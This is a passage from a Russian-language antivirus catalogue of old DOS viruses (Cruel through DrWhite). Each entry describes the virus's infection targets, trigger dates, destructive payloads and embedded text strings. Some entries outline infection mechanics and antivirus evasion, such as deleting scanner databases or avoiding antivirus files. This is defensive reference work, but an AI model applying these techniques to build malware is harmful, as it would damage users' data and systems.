Tried, tested, not approved." и "вешают" систему. Не заражают файлы, в
именах которых присутствуют цифры или буква "V".
Cruel (1,2)
Опасные загрузочные вирусы. Заражают Boot-сектора дисков при каждом 40
обращении к диску на чтение или запись. 8 числа месяца при значении
минут равным 47 вирусы уничтожают содержимое CMOS-памяти.Содержат текст
"CRUE(L)".
Cruncher.2092, 4000, 4800
Неопасные резидентные вирусы. Данные вирусы, находясь резидентно в
памяти "сжимают" стартующие программы по методу DLV (dynamic LempelZiv)
алгоритмом популярной утилиты сжатия DIET 1.00 японского программиста
Teddy Matsumoto. Причем зараженные программы могут быть меньше по
размеру!, чем оригинальные файлы. Заражают вирусы следующим образом:
стартующий файл (до 128 Кб) считывается в память, заражается
стандартным образом в памяти, после чего компрессируется с помощью
алгоритма утилиты DIET. После этого к сжатым данным добавляется
стандартный распаковщик DIET, и данный зараженный и, может быть, сжатый
файл записывается на диск вместо оригинального файла. Cruncher.2092
содержит тексты "[ MK / Trident ]", "Cruncher V1.0с". Cruncher.4000 не
заражает файлы, содержащие в начале имени две последовательные буквы,
указанные в следующей строке "COSCCLVSNEHTTBVIFIGIRAFEMTBRIM". При
вызове функции AX=33E1h INT 21h Cruncher.4000 выводит на экран текст:
г============================================================¬
¦ *** CRUNCHER V2.0 *** Automatic file compression utility ¦
¦ Written by Masud Khafir of the TridenT group (c) 31/12/92 ¦
¦ Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto ¦
L============================================================-
Cruncher.4800 при старте выводит сообщение:
г============================================================¬
¦ *** CRUNCHER V2.1 *** Automatic file compression utility ¦
¦ Written by Masud Khafir of the TridenT group (c) 23/8/93 ¦
¦ Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto ¦
L============================================================-
Install Cruncher in memory? (Yes/No/Help)
Если ввести "Y", то вирус установит свою TSR-копию в память. Если
ввести "H" (Help), то вирус выводит текст:
Cruncher is a resident utility that will compress .COM and .EXE files when
they are executed. These files will shrink in size, thus giving you more
free disk space. Cruncher does this automaticly. The Cruncher routine will
be included in the compressed files.
Caution: there are a few programs that are not compatible with Cruncher.
These may fail to work when they are compressed. If you have such programs,
turn on their read-only attributes to prevent them from being crunched. It's
a good idea to make a backup of your programs!
You can put "SET CRUNCH=AUTO" in your AUTOEXEC.BAT to give Cruncher
permission to install without asking.
Crusher
Неопасный файлово-загрузочный вирус. Заражает MBR жесткого диска и EXE-
файлы при копировании, внедряя свой код в их начало. Если не хватает
памяти при установке вирусом своей TSR-копии, то вирус выводит
сообщение "Insufficient memory". При старте программы CHKDSK возможно
появление текста:
----------------------
Crusher
You are damned
Bit Addict / Trident
----------------------
Cuareim.800 (1,2)
Неопасные нерезидентные вирусы. После 22.00 выводят текст:
ei-cuareim 1.5 By: V90d90A time to stop working - 22pm
Lucky, I dont do anything
и завершают работу программы.
Cunning.1997
Неопасный резидентный вирус. При первом старте пытается заразить
командный процессор, указанный через переменную COMSPEC и
C:\COMMAND.COM. После чего удаляет вирусный код из стартовавшей
программы. При старте инфицированного командного процессора
устанавливает в память свою резидентную копию. При старте программ
ARJ.EXE, RAR.EXE или AIN.EXE вирус заражает все открываемые COM-файлы,
а при их закрытии - удаляет из них вирусные коды. Т.о., все COM-файлы,
во вновь созданных архивах ARJ, RAR или AIN, оказываются
инфицированными. При старте программы ADINF.EXE вирус удаляет свой код
из COMMAND.COM.
Cvka.1024
Неопасный резидентный шифрованный вирус. Блокирует нажатие на клавиши
Caps Lock и правый Shift. Содержит тексты "Cheboksary-90", "CVKA".
Cyanide.705
13 числа месяца устанавливает системную дату на 14 число и выводит текст
Goodday.. I am da Sparkling Cyanide fear,
however, no need to vir.. 'coz
I do NOT have a bomb like al those childish fears.
On da contrary.. I've set your date to tomorrow,
So all the other fears haven't got a chance..
Aren't you glad you ran me first?
SPARKLING CYANIDE (c) [VooDoo]
Cybercide.2299
Очень опасный резидентный вирус. Перехватывает INT 09, 1Ch, 21h. При
вводе с клавиатуры слова "anoi" вирус добавляет строку "iS AROUND!".
При нажатии на клавиши Alt+Del вирус выводит по всем углам экрана буквы
"A", "N", "O", "I". В зависимости от системного времени вирус
уничтожает содержимое случайных секторов диска, записывая в них строку
"""" A.N.O.I """", или рисует шведский желтый крест на синем фоне,
или проигрывает мелодию и выводит сообщение:
--+--- I hereby proclaim this computer as the property of A.N.O.I --+---
!! ALL HAIL DARTH VADER !!
Содержит тексты:
nam nesut agnЖм dem Дnk mo Дnk ,marfkcig xeR sluloraC
ruh nes egnДl rФf ,nД in snniM
YTITNE na ot LEURC eb reven
ynollef ELIV a si GINKLAWYAJ
... I SHALL FEAR NO EVIL ...
**CYBERCIDE** -- FLOATING THROUGH THE VOID
-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT
DaBoys (1,2)
Опасные загрузочные вирусы. Не сохраняют оригинальные загрузочные
сектора дисков. Содержат строку "DA`BOYS".
Dac.1582, 1600
Неопасные резидентные вирусы. Пытаются скрывать приращение своих длин,
но делают это с ошибкой. После 47 заражений файлов выводят сообщения
в режиме 40x25:
Dac.1582: Do not interrupt; the D.A.C action.
The ALIEN,v.1.0.1991y.
I'm asked users to call author. L..bank.
Simferopol-city. Written by M"2,F"2,T"2.
Not destructs, but errors. Halt !.. Bye!
Dac.1600: Do not interrupt; the D.A.C action.
The FBARA v.1.4.1993y.
I'm asked users to call author. Unknown.
..m.e..po.-c.ty. Written by M"3,F"2,T"2.
Not destructs, but errors. Halt !.. Bye!
После чего "вешают" систему.
Dalien.1052
Неопасный резидентный вирус. Содержит строки "TechnoWamp 93", "*.COM",
"DALIEN D&O V2".
Daemaen.1894, Daemaen.2048
Неопасные файлово-загрузочные шифрованные вирусы. Заражают COM, EXE,
BIN, OVL, SYS- файлы MBR жесткого диска и Boot-сектора дискет. Содержат
строку "COMEXEBINOVLSYS". Daemaen.1894 содержит строку "SCCLVSF-".
Daemaen.1894 не заражает программы, содержащие в своем имени первые 2
буквы из 8 символов данной строки. Также в теле вирусов имеются еще
текстовые строки -
Daemaen.1894:
Cowboys From Hell/Vulgar Display of Power [Pantera] The best Power
Metal band in the world. tHiS k0oL ViRUZ WaReZ bY [ТДLФN"="NЦКф] '93!
Daemaen.2048:
[DДеМЖИn] by ТДLФN-{NЦКф}
Hugs to Sara Gordon
Hey John! If this is bad, wait for [VCL20]!
For Dudley
[VCL20с]/ТДLФNшЛ
Damanaegi
Неопасный загрузочный вирус. Периодически выводит на экран "DAMANAEGI".
Damcdoom
Опасный Boot-вирус. На дискетах оригинальный Boot-сектор не сохраняет.
DAME-вирусы
DAME (Dark Angel Mutation Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков.
DAME.Lame
Неопасный нерезидентный полиморфный вирус. Содержит текстовую строки:
*.com ..
This is a lame virus slapped together by DA/PS
To demonstrate DAME 0.91
DAME.Trigger
Резидентный полиморфный вирус. Пытается найти в памяти и что-то сделать
с какой-то резидентной программой. Трассирует INT 21h и "врезает" в
оригинальный обработчик 5 байт прямого межсегментного перехода на свой
код. Содержит текстовую строку:
Trigger by Dark Angel of Phalcon/Skism
Utilising Dark Angel's Multiple Encryptor (DAME)
Daniela
Опасный загрузочный вирус. 5 апреля уничтожает информацию на жестком
диске. Содержит текст "EU TE AMO DANIELA".
Danish.284
Содержит текст:
*** NIGHTCRAWLER V 2.0 *** Written by the Weasel!
(C) Sector Infector Inc
Danish.310
Содержит тексты "Tiny-F version 1.1", "Released 10-19-91".
Danish.Kennedy
6 июня, 18 и 22 ноября выводит текст "Kennedy er dЫd - lСnge leve "The
Dead Kennedys"".
Danny.872
17 октября выводит текст "Today is Danny's birthday! She is now XX
years old.", правильно меняя возраст.
DarkAngel
Опасный загрузочный вирус. Не сохраняет оригинальный MBR жесткого диска
при заражении.
DarkAngel.3250
Опасный резидентный полиморфный вирус.Содержит в своем теле загрузочный
вирус DarkAngel, описанный выше. Иногда DarkAngel.3250 заражает MBR
жесткого диска вирусом DarkAngel, который в последствии "живет
самостоятельной жизнью". DarkAngel.3250 содержит тексты "D.Angel",
"Copyright (C) Dark Angel Corp 1992-1993.".
DarkElf.1800, 2000, 2200
Неопасные резидентные шифрованные вирусы. Содержат тексты:
DarkElf.1800:
[Dark Elf] version 1.0 CopyLeft (cl) MSTUdent. 16:10:14 03/08/96
DarkElf.2200:
[Dark Elf] version 2.1 CopyLeft (cl) MSTUdent 18/08/96 03:50:30
3:41 AM - ... Сижу ... Сочиняю это послание ...
3:44 AM - ... Мыслей нет ...
3:45 AM - Ну это все на фиг, пойду лучше спать. Вот только компильну...
DarkElf.3692
Неопасный резидентный полиморфный вирус. Содержит тексты:
[Dark Elf] version 3.0 CopyLeft (cl) MSTUdent 13/11/96 18:04:13
Ты прости меня, Лозинский, славный программист отважный,
Написавший AIDSTEST'ы и убивший всех MORGOT'ов.
[DEME] Dark Elf Mutation Engine v1.0 CopyLeft (cl) MSTUdent
13/11/96 18:04:13
DarkLord.based
Резидентные вирусы. Вирусы данного семейства содержат текстовую строку
"Dark Lord, I summon thee! MANOWAR!"
DarkLord.1085
Неопасный резидентный вирус. Содержит текст "Terror".
Darkness.1125
Очень опасный нерезидентный вирус. После 25 декабря 1994 года
уничтожает содержимое жесткого диска и выводит текст:
This is first version of virus
Comes from HELL (CfH)
Coming end of the world
The time of the Eternal Dackness ...
Formating cylindr # 0
DarkRevenge.1032
Неопасный резидентный вирус. При нажатии на ESC перегружает систему.
Содержит текст "Dark Revenge".
DarthVader.200, 255 (1-3), 344 (1,2), 409
Очень опасные резидентные вирусы. Содержат текст "Darth Vader".
Darv.1024
Неопасный нерезидентный вирус. После заражений файлов выводит сообщение
"VIRUS TERMINATED OK AND PASSED THE CONTROL !!!". При ошибке чтения -
записи может вывести "*** ERROR ***". Содержит тексты "TACK", "DARV",
"*** END OF VIRUS ***".
Datacrime.1168 (1,2), 1280 (1,2), 1480, 1514
Очень опасные нерезидентные вирусы. Иногда выводят экран тексты:
Datacrime.1168,1280: DATACRIME VIRUS RELEASED: 1 MARCH 1989
Datacrime.1480,1514: DATACRIME II VIRUS
и после этого пытаются отформатировать несколько дорожек первого
жесткого диска.
DataLock.920(1,2), 1043, 1150
Опасные резидентные вирусы. DataLock.920 (1,2) блокируют открытие DBF-
файлов. DataLock.1043 может отформатировать нулевые дорожки дисков A:,
B: и второго жесткого диска. DataLock.1150 шифрует первые пять
цилиндров жесткого диска, после чего выводит текст:
Ben bir garip virusum
Disket disket gezerim
Bugun kismet sendeymis
Yarin belki kimdeyim
Sair virus
Вирусы содержат строки:
DataLock.920(1,2) - DataLock version 1.00
DataLock.1150 - Fuck Serb Virus
Day14.789, 792
Опасные нерезидентные вирусы. 14 или 24 числа месяца уничтожают
содержимое CMOS памяти и MBR (или 256 секторов первого жесткого диска -
Day14.792).
Dead.852
Неопасный резидентный вирус. Во втором и девятом часах издает звуковые
сигналы. Не заражает файлы, имена которых начинаются на AI, WE, DR.
Dead.1362, 1364
Очень опасные резидентные вирусы. Ведут счетчик заражений внутри
файлов. При счетчике более 255 вирусы уничтожают содержимое диска D:.
Содержат строку "COMSPEC".
Debilas.2000
Опасный резидентный вирус. В сентябре после 22 числа уничтожает
содержимое 128 секторов каждого логического устройства жесткого диска и
выводит текст:
-=DMS=-
Fuck you b.tAMULYNAS and to your crack of Print_Screen
Buvai DEBILAS , esi DEBILAS ir busi DEBILAS !!!
Copy right Antanas Vidziunas ,VDU, 1996.
Не заражает файлы, содержащие следующие сочетания: AI,CL,WE,AD,AN,SC,
V.,LD,PR,MM. Содержит зашифрованный текст "I `LL BE IN KTU SOMEDAY".
DecMem
Неопасный загрузочный вирус. При заражении загрузочных секторов флоппи-
дисков запоминает системную дату в своем теле. При загрузке системы с
такого диска и несовпадении значения запомненной даты и системной,вирус
записывает в данный загрузочный сектор новую дату и увеличивает на 1Kb
значение "отрезаемой у DOS" резидентной копией вируса количества
доступной памяти.
DEI.1456, DEI.1526, DEI.1634, DEI.1792, DEI.1948
Полиморфные вирусы. В зависимости от системного таймера могут создать в
текущей директории файл DEI.COM длиной 50 байт или попытаться удалить
данный файл. При запуске DIE.COM, на экран будет выведен текст:
Devils & Evangels, Inc. [DEI] MnemoniX
DEI.1948 пытается удалить в текущем каталоге файл ANTI-VIR.DAT.
DEI.1456 содержит строку "v1.00\DEI.COM".
DEI.1526 - "v1.50\DEI.COM".
DEI.1634 - "v1.99\DEI.COM".
DEI.1792 - "v.2.00\DEI.COM".
DEI.1948 - "v.2.50 ANTI-VIR.DAT \DEI.COM".
Deicide.520
Опасный резидентный вирус. 13 числа месяца любой символ, выводимый на
печать, меняет на символ "6". Содержит тексты "666", "DEICIDE".
Dennis.539, 656, 689, 1000
Неопасные резидентные вирусы. Dennis.656 20 июня производит всяческие
манипуляции с клавиатурой (байт по адресу 0040:0017h), Dennis.689 при
выводе на печать вставляет перед каждым выводимым символом команды,
попеременно изменяющие верхний и нижний регистр букв. Dennis.689
содержит текст "v1.0(CrazyPrinter)ByDennisDavydov", Dennis.1000 имеет
зашифрованный текст "execomvD.Davydov".
Demiurg.3061
Опасный резидентный файлово-загрузочный вирус. "Перехватывает" INT 13h,
2Ah, 0CEh, 0E0h. При открытии файла A-Dinf--.---, вирус производит
подсчет CRC в некоторой области памяти (?) и удаляет свой код из
секторов диска, но MBR не перезаписывает, в результате чего система
повиснет при загрузке с такого диска. Работоспособен только в DOS
версиях 6.xx. Содержит тексты:
Мир вам.Меня зовут Demiurg.Я хранитель врат,врат Ада.
Все кто хочет увидеть Хозяина встречается со мной,а кто
встречается со мной попадает к Хозяину...мертвым.
Тупые охотники за головами,с притензией на интеллект
гадатели,всезнающие визири-многие пытались увидеть
меня,но порой их глаза были ослеплены,а ум нашептывал
соблазнительное OK
LORD
Democracy.3806
Неопасный резидентный вирус. Иногда выводит следующие сообщения:
Please answer:
OK!
Don't forget June Fourth!
I agree
I have not ANY side effect.
ANY cleaning action will make servere result.
You don't answer correctly, once again.
Democracy
Demon.4313, 4767, 5670
Опасные резидентные шифрованные вирусы. Удаляют файлы: SCAN.DAT,
SIGN.DEF, TBAV.KEY, TBSCAN.SIG, Anti-vir.dat, chklist.ms. При попытке
заражения файла на защищенном от записи диске вирусы выводят
сообщения:
Demon.4767 - Disk is Write Protected
Please Unprotect it and
Press Any Key When Ready
Demon.5670 - Disk is Write Protected
Please Unprotect it AND
Press any key to continue . . .
После чего ждут нажатия на клавишу и Demon.4767 выводит сообщение:
Thank-You, Please Wait...
Demon.4313 содержит строку "[demon4] Hellfire", Demon.4767, 5670 -
строку "[demon3b]".
Demonhyak.272, 284
Очень опасные замещающие программный код вирусы. Во вторник уничтожают
160 секторов диска C: и выводят тексты:
Demonhyak.272:
Error eating drive C:
Demonhyak.284:
HАЖМИТЕ HEMЕДЛЕННO Ctrl+Alt+Del+Ins !
Error on drive C:
Demonhyak.272 имеет текстовую строку "Demonhyak Viri X.X (c) by Cracker
Jack 1991 (IVRL)".
Destage.1200
Неопасный шифрованный файлово-загрузочный вирус.Использует динамическую
защиту от отладки с помощью INT 01. При старте инфицированной программы
заражает MBR жесткого диска, непосредственно программируя порты
дискового контроллера IDE. Содержит зашифрованную строку [ DESTAGE (tm)
by AZ & HS ]".
Destructor.264
6 числа после 12.00 выводит текст "Destructor, Copyright (C) 1992 by
Krasikov".
Device.2000
Неопасный резидентный вирус. Заражает EXE и SYS-файлы. Для EXE-файлов
является полиморфным вирусом. При старте инфицированного EXE-файла,
вирус производит поиск в файле C:\CONFIG.SYS текстовых строк "DEVICE".
При нахождении такой строки вирус пытается заразить файл (если он в
формате SYS), указанный через данную переменную "DEVICE". Вирус создает
файл C:\devices.$$$, записывает в него 2000 байт своего кода, затем
записывает содержимое оригинального SYS-файла, удаляет SYS-файл-жертву
и присваивает файлу C:\devices.$$$ имя данного файла. При загрузке
такого инфицированного SYS-файла вирус "перехватывает" INT 1Ch(таймер).
При определенных обращениях к таймеру вирус проверяет есть ли обращение
к флоппи-дискам (включен ли мотор дисководов) и пытается найти и
заразить EXE-файлы.
Devil (1,2)
При каждой 6ой перезагрузке или при ошибке чтения во время загрузки
системы с инфицированного диска Devil (1) выводит текст:
(c) Devil Production Ver 1.0 28/08/1972
Devil (2) содержит тексты "(c) Devil", "v3.0".
DHeart.452
Иногда выводит на экран изображение двух сердец (ASCII 3) .
Diablo
Содержит строку "DIABLO".
Diamond.1024
Неопасный резидентный вирус. Производит видеоэффект, внешне похожий на
сверкание бриллианта, состоящего из символов "" ASCII 4.
Diamond.RockSteady (1,2)
Опасные резидентные вирусы. 13 числа форматируют первый жесткий диск.
Содержат текст "!RocK STeaDY!".
Dicker.400
Содержит строку "Dicker 1.0".
Die.666
Иногда может вывести строку "VIRUS INFO". Содержит слово "Die".
DieLamer.1090
Опасный резидентный вирус. Уничтожает файлы smartc*.cps и chklist.*.
Если идет вывод строки "-=*@DIE_LAMER@*=-" через INT 10h, то вирус
уничтожает содержимое секторов диска B:. Содержит строку "VLamiX-1".
Digger.600
В 10.00 и в 17.00 выводит на экран картинку:
-------DIGGER--------
---------L ---------
------- --
----
---- - -- - --------
-------- --- ----
---------------------
Digger.1000
После 30 заражений программ выводит текст:
Ты долго в DIGGER не играл - теперь я грустный терминал
Digger.1475 (1,2), 1512, 1800
Оставляют в памяти резидентную программу, которая переворачивает экран.
Содержат строку "(C) DIGGER".
Digital.3547
Опасный резидентный полиморфный вирус. 28 мая уничтожает содержимое
секторов на 32 головках 20 дорожках первого жесткого диска, записывая в
данные сектора повторяющуюся строку "DIGI",после чего перепрограммирует
знакогенератор, проигрывает мелодию и выводит текст:
0000000000 00000000 00000000 00000000
0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000
0000 0000 0000 0000 0000
0000 0000 0000 0000 000000 0000
0000 0000 0000 0000 0000 0000
0000000000 00000000 000000 00 00000000
000000000000 000000 0000 0000 00000000000000 000000000000
0000 0000 0000 0000 0000 0000 0000 00 0000 0000
0000 0000 0000 0000 0000 0000 0000 00 0000 0000
0000000000 0000 0000 0000 0000 00000000 0000000000
0000 0000 0000 0000 00 0000 0000 00 0000 0000
0000 0000 0000 00000000000000 0000 00 0000 0000
00000000 000000 0000 0000 00000000000000 000000 0000
THIS IS A NEW ... DELIVER II SТЙГlТН (R) WRITE BY DiGiT! ... SOUTH POLAND 1995
Dima.325
Содержит текст "Dima".
Dinamo
Если в процессе загрузки с инфицированного диска произойдет ошибка
чтения, то вирус выводит на экран фразу "Dinamo(Kiev)-champion !!!".
Dir.691
Неопасный резидентный вирус. Содержит строку "DIR".
Dir-II (1-7)
Неопасные (Dir-II (5) - опасен ) резидентные вирусы, встраивающиеся в
цепочку дисковых драйверов. Записывают свой код в последний кластер
диска. Для файлов с расширениями COM и EXE устанавливают указатели
первого кластера данных на данный последний кластер диска, содержащий
вирусный код. Dir-II (5) уменьшает длину файлов с расширением DBF на
256 байт и удаляет файлы, начинающиеся на AIDS или ADIN.
Dir-II.Dragon (1,2)
Опасный вирус. Иногда "затирает" файлы строкой:
DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993
The Lords of the Computers ! DRAGON - the Lord of Disks ! anti
Dir-II.Hippies
Содержит текст "По Интегралу плывет пирога,в ней едут хиппи,их очень
много.".
Dir-II.KillDll
Очень опасный вирус. Уничтожает все *.DLL-файлы. Содержит текст "DLL
Killer".
Dir-II.October (1,2)
Содержит текст "Не забудь поздравить себя с днём рождения 20 октября.".
Dir-II.TheHndV
Неопасный резидентный полиморфный вирус, встраивающийся в цепочку
дисковых драйверов. Создает файл CHKLISTx.MSx (где x - это значение
ASCII 255 (0FFh), кластер данных которого расположен в последних
секторах диска. У всех файлов с расширениями COM и EXE вирус
устанавливает значение первого кластера данных на первый кластер файла
CHKLISTx.MSx, содержащий вирусный код. В 11.00, 16.00 вирус проигрывает
музыку и выводит на экран сообщение:
T R A B A J E M O S T O D O S P O R V E N E Z U E L A !!!
Содержит также тексты "The-HndV", ""by:Wai-Chan,Aug94,UCV"".
DiS.1024
Опасный резидентный шифрованный вирус. При попытке трассировки
резидентного кода может уничтожить содержимое секторов дисков A: и B:,
после чего выводит текст:
***The Heaven Version 3.0 (C)Copyright 1993 DiS co.***
***If you can read this , you don't need glasses!***
DiskKiller
Очень опасный загрузочный вирус. Может вывести сообщение:
Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989
Warning !!
Don't turn off the power or remove the diskette
while Disk Killer is Processing!
PROCESSING
После чего уничтожается вся информация на первом жестком диске. После
своих разрушительных действий вирус выводит текст:
Now you can turn off the power
I wish you luck !
DiskSpoiler.1308
Опасный нерезидентный вирус. "Забивает" свободное место в таблице FAT
признаками конца файла.
DiskWasher
Опасный загрузочный вирус. 50000 или 5000 поколение вируса форматирует
первый жесткий диск и выводит сообщение " From DiskWasher with love "
Djifx.2372
Опасный резидентный шифрованный вирус. Устанавливает системное время на
полночь и месяц апрель, если значение текущего дня - 15 и на полночь и
месяц сентябрь, если день - 12ый. "Перехватывает" INT 5,9,17h,21h. При
попытке вывести образ экрана на принтер перезагружает систему. При
выводе на печать изменяет значение цифр на противоположные:1234567890 -
0987654321. При нажатии на Ctrl-Alt-Del в пятницу выводит текст:
-------------------------------------------------¬
¦ DJ[I]-FX, Ver. 0.53., (c) 1996 by ¦¦¦ ¦
¦ Just call my name and I'll be back... ¦
¦ Password: (D&I) Enigma: (T2L1TL¦у¦-¦T-ц+ч-уйр) ¦
L================================================-
и "вешает" систему. Не заражает файлы DRWEB.EXE, AIDSTEST.EXE,
COMMAND.COM.
DM.310, 330
Неопасные резидентный вирусы. DM.330 содержит текст "(C)1991 1.05 DM".
Dma.1024
Неопасный резидентный шифрованный вирус. 13 числа производит некие
манипуляции с DMA.
Dmr.1200 (1,2)
Неопасные резидентные вирусы. 13 числа выводят на экран тексты:
DMR, Pantera & Ale Forever !
D M R F o r e v e r !
Dis iz ChaosTraveller ver. 2.0
Nightmare, yeah ? Try to be clean !
Suck off, fucksider ! Today`s 13th !
Virus "CHAOS TRAVELLER".
Made by MegaMind,Murmansk,RUSSIA,1996.
This is only test.Prepare for my next virus.
I will turn you life into nightmare !
Ha-ha-ha-ha-ha-ha-ha-ha !!!
Dnepr.377
Неопасный резидентный вирус. Периодически выводит на экран текст
"DNEPR-CHAMPION".
Dobkin.91, 177
Содержат текст """ The Dobkin """.
Dodgy
Опасный загрузочный стелс-вирус. Перехватывает INT 13h, 21h, 2Fh, 40h.
Удаляет файл SYSTEM\IOSUBSYS\HSFLOP.PDR. 28 числа может уничтожить
содержимое секторов дискет и вывести текст "RAVage is wiping data!
RP&muRphy".
Donbass.444
Неопасный нерезидентный вирус. Первым делом пытается заразить командный
процессор, указанный через переменную среды COMSPEC. Содержит текст
"Donbass3".
Doom.666
Неопасный резидентный вирус. Содержит текст:
DOOM2.EXE Illegal DOOM II signature
Your version of DOOM2.EXE matches the illegal RAZOR release of DOOM2
Say bye-bye HD
The programmer of DOOM II DEATH is in no way affiliated with ID software.
ID software is in no way affiliated with DOOM II DEATH.
Doom.752
Очень опасный нерезидентный вирус. 8 числа любого месяца пытается
уничтожить 320 секторов дисков C: и D:, после чего выводит сообщение:
DOOM I. Greetings from National Central University !
DOS-1.184
Содержит строку "DOS-1".
DotEater.944 (1-3)
Неопасные резидентные вирусы. Первым делом пытаются заразить командный
процессор, указанный через переменную COMSPEC. Могут оставить в памяти
резидентный код "на клавиатуре INT 16H", который в зависимости от
нажимаемых клавиш "запускает" по 25 строке экрана "рожицу", ASCII
символ - 1. "Рожица" во время своего движения "издает" жужжание.
Dotter.3961, 4611
Неопасные резидентные шифрованные вирусы. Иногда могут вывести на экран
одно из приведенных ниже высказываний:
"Не богатей дурными средствами" (Фалес).
"Чем поддежал ты своих родителей, такого жди и от детей" (Фалес).
"Заводи друзей не спеша, а заведши, не бросай" (Солон).
"Не злословь о ближнем, чтобы не услышать такого, чему сам не
порадуешься" (Хилон из Спарты).
"Что лучше всего? Хорошо делать, что делаешь" (Питтак)
"Только больная душа может быть глуха к чужой беде" (Бинат).
"Цивилизация - это совокупность духовных, материальных и нравственных
средств, которыми данное сообщество вооружает своего члена в его
противостоянии внешнему миру" (М.Барг).
"Если для создания социализма требуется определенный уровень
культуры... то почему нам нельзя начать сначала с завоевания
революционным путем предпосылок для этого определенного уровня, а потом
уже, на основе рабоче-крестьянской власти и советского строя, двинуться
догонять другие народы" (В.Ленин).
"Пришло несчастье - человек сам его породил, пришло счастье - человек
сам его вырастил. У несчастья и счастья одни двери, польза и вред -
соседи" (Конфуций).
"Мир - это священный сосуд, которым незьзя манипулировать. Если кто
хочет манипулировать им, уничтожит его" (Дао) .
Запад есть Запад, Восток есть Восток,
не встретиться им никогда.
Лишь у подножья Престола Божья
в день Страшного Суда. (Р.Киплинг)
"Кто покупает ненужное, тот скоро продаст необходимое" (Б.Франклин).
"Помните, что время - это деньги" (Б.Франклин).
"Следуй реке, начиная с ее истоков. Истина сегодня-завтра окажется
ложью" (Ф.Паулюс).
"За ошибки государственных деятелей расплачивается вся нация"
(Н.Бердяев).
Весь мир - театр.
А в нем женщины, мужчины - все актеры.
У них есть выходы, уходы.
И каждый не одну играет роль.
Семь действий в пьессе той.
Младенец, школьник,юноша, любовник,
Солдат, судья, старик. (Шекспир)
- "Человеческое достоинство нерушимо.Уважать и защищать его -
обязанность всякой государственной власти" (Конституция ФРГ, ст. # 1)
- "Государственная власть основывается на непоколебимим доверии народа,
ее авторитет исходит от народа, ее полномочия осуществляются
посредством народа, а благами ее пользуется народ" (из Конституции
Японии)
- "Вся власть в СССР принадлежит народу" (Конституция СССР 1977 г.,
ст. 2)
"Неча на зеркало пенять, коль рожа крива" (про тебя)
Без пищи человек живет пять недель, без воды - пять дней, без воздуха -
пять минут
----- - - ----- - -
- - - - - - - --- ИСТОЧНИК
- ----- - - ----- --- ВЕЧНОГО
----- - - ----- - - ВДОХНОВЕНИЯ
2 5
Dracula.1370
Очень опасный резидентный вирус. При старте инфицированного файла,
вирус удаляет свой код из него. При значении минут системного времени
кратного 10 и при возникновении ошибки во время самостоятельного
"излечения" файлов, вирус уничтожает содержимое первого жесткого диска
и выводит текст "It's a pleasure for me to be so harmful. See you
later, Count DRACULA.".
Dragon
Неопасный загрузочный стелс-вирус. При трассировке резидентной копии
вируса, происходит "зависание" системы и возможна в этот момент "рябь"
на экране монитора.
Dragon.414
Неопасный резидентный вирус. Содержит текст "Quick Dragon v.7".
DrDemon.4292
Неопасный файлово-загрузочный полиморфный вирус. Не заражает файлы,
начинающиеся на буквосочетания AIDS, WEB, VB, ADINF, SCAN, CLEAN, DRW.
Содержит зашифрованный текст "MB Pro (c) 1994-96 by Dr.Demon".
Dre.192
Опасный замещающий программный код вирус. Заражает EXE-файлы в текущем
каталоге, записываясь в их начало. Содержит тексты "Я вирус?EXE" и "Wr.
by Doctor Dre 1997(c).King V1.2".
Dre.756
Опасный нерезидентный шифрованный вирус. Заражает COM и EXE-файлы в
текущем каталоге. Причем EXE-файлы Dre.756 заражает вирусом Dre.192,
которого носит в своем теле.
Dread.774
По окончании своей работы выводит текст:
I am he, the bornless one, the fallen angel watching you !
(C) Dread Lord.
You are the real dead one now ...
Dread.2163
Содержит текст:
Eddie lives...somewhere in time! Eddie 2 or Infinite Dreams virus by
FotD (C) Dread Lord, 1993, 1994 Thanx to the Dark Avenger DDT -- LAME!
FotD -- RULEZ
Dream
Неопасный загрузочный стелс-вирус. Копирует 101 байт своего кода в
таблицу векторов прерываний. При чтении первых секторов дискет вирус
читает в область видеопамяти инфицированный MBR жесткого диска и
записывает его в загрузочный сектор флоппи-диска. Содержит строку
"dream".
DREG.based
Данные вирусы сконструированы с помощью вирусного конструктора DREG
(Digital Hacker's Alliance Randomized Encryption Generator),
позволяющего создавать нерезидентные полиморфные вирусы, заражающие
COM-файлы в текущем каталоге.
Dret.1710
Очень опасный резидентный полиморфный вирус. 13 числа или при
неаккуратной трассировке вирус может уничтожить по 128 секторов на
первом и втором жестких дисках. Содержит текст
"(c) 23.5.3945 / DR & ETASCECLHVSPF-ACPRVINWI".
DrJohn.2000
Неопасный резидентный вирус. На следующий месяц после заражения выводит
на экран текст "Привет от *Doctor John*! Приятель, да ты оказывается
чайник последний !". Имеет текст "Данные из заголовка EXE".
Dron.995, Dron.1024
Содержат текстовую строку "* DRON Ver 1.00, PhysTech,(c) 1994 *".
Иногда выводят на экран текст:
------------- ------------- ------------- ------ -----
--------------- --------------- --------------- ------- -----
----- ----- ----- ----- ------ ------ -------- -----
----- ----- ----- ----- ----- ----- --------- -----
----- ----- ----- ----- ----- ----- ---------- -----
----- ----- ----- ----- ----- ----- ----- ----- -----
----- ----- ----- ----- ----- ----- ----- ----- -----
----- ----- --------------- ----- ----- ----- ----- -----
----- ----- -------------- ----- ----- ----- ----- -----
----- ----- ----- ----- ----- ----- ----- ----------
----- ----- ----- ----- ------ ------ ----- ---------
--------------- ----- ----- --------------- ----- --------
-------------- ----- ----- ------------- ----- -------
Moscow Institute of Physics and Technology (c) 1994
DrS.678
Содержит текст "dR.S".
DrWhite.1027
Файлово-загрузочный шифрованный вирус. При старте инфицированного файла
вирус заражает MBR, изменяя 34 его байта. Записывает на диск еще 2
сектора своего тела. При перезагрузке системы инсталлируется в память и
перехватывает INT 13h, INT 1Ch, INT 21h. В дальнейшем заражает
Boot-сектора флоппи-дисков и COM-файлы. Содержит текстовые строки: "Dr
White - Sweden 1994" и "Junkie Virus - Written in Malmo...M01D".
DrWhite.2403
Опасный резидентный полиморфный вирус. Уничтожает файлы CHKLIST.MS.
Содержит текстовые строки: "DrW-2", "Dr White - Sweden 1993" и
"Desperado Virus - Written in Malmo...F02E".
DSCE-вирусы
